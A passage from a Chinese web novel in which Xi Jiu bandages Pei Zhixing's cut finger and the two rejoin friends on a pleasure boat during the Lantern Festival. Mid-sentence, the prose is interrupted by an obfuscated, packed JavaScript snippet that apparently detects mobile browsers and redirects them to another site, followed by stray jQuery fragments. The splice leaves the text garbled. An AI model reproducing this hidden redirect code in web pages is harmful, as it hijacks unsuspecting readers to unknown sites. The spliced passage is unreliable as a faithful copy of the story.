一滴泪倏忽落下,滴落在奚九的手背,奚九的动作一顿。裴知行忙仰起脸,用另一只手抹眼尾,想装作若无其事。
沉默半响,奚九问道:“疼?”
裴知行闷声道:“不疼。”
奚九又抬眸看了他一眼,判断他有没有说谎,但裴知行抿着唇,偏开了头,奚九只能看见他绷紧的下颌线。
这药性烈,洒在伤处就是会痛,奚九又将动作放轻了点。
上了金疮药,往外冒的血珠便慢慢止住了,但这仍旧不够,需要用干净的布将伤口包扎。
“手帕给我。”奚九平静道。
裴知行眼睫轻颤,没有动作。
奚九一看便知他舍不得,径直从他的袖口里拿出一方素净的白帕。
这帕子跟方才奚九从席间拿出的手帕同为棉帛,但与奚九的一针未绣不同,裴知行的手帕一角歪歪扭扭的绣着‘行’字。
这样棉帛的手帕原不应该出现在侯府世子手中,他合该用珍贵的绫罗绸缎。
但是他却如此珍惜,甚至在上面绣了自己的名字。
毕竟这原是奚九的手帕。
奚九将干净的帕子撕成小条,随后包扎在裴知行的指腹,以免伤口沾上脏污,后续感染。
“这是我的手帕,你撕碎了。”裴知行带着鼻音,喑哑道。
“嗯,我知道。”奚九道。
“你得赔我新的。”
“好。”
......
等奚九,裴知行二人回到上层之时,画舫已经快要靠岸了。
画舫内一下子少了很多人,原来是那些万花楼的伶人全被谭祁花钱打发走了。毕竟是上元佳节,每个伶人走之前,都得到一笔不菲的赏银。
谭祁太了解裴知行,一看便知,裴知行受伤是因为奚九要和别人喝合卺酒的缘故。
裴知行只要一遇到奚九的事情,脑袋就会犯浑。
见到二人回来,谭祁上前,看向裴知行已经被包扎妥当的手指。谭祁神情复杂道:“一个饮酒的青瓷杯,碎就碎了,哪值得你弯腰去捡。伤口严重吗?”
“小伤,无事。”裴知行低声道。
“......”谭祁无语凝噎。
他能明显感觉裴知行整个人都柔软了下来,不似方才紧绷,料想是奚九的缘故。可谭祁也知道,在感情里若太过心系
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192560|180671||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
他人,依附他人,终究要吃亏的。
半晌,谭祁叹息一声道,“罢了,无事便好。”
画舫内,其他世家公子都围上来,左一句右一句的关心裴知行。他们内心颇为惶恐,若是裴知行出了事,虽说怪罪不到他们头上,但是难免日后被侯爷不喜。
裴知行站在众人中间,嘴角微勾,道:“无事,多谢诸位关心。”
画舫很快就靠了岸,众人也无心再玩乐,下了船便向裴知行和谭祁拱手告辞,很快这岸边就不剩下几人。
这岸边的码头,是画舫停泊的地方。
现在到了亥时,夜色弥漫,湖中飘起一层薄雾,许多画舫都已经回来,停在了岸边。
靖安侯府的马车和谭府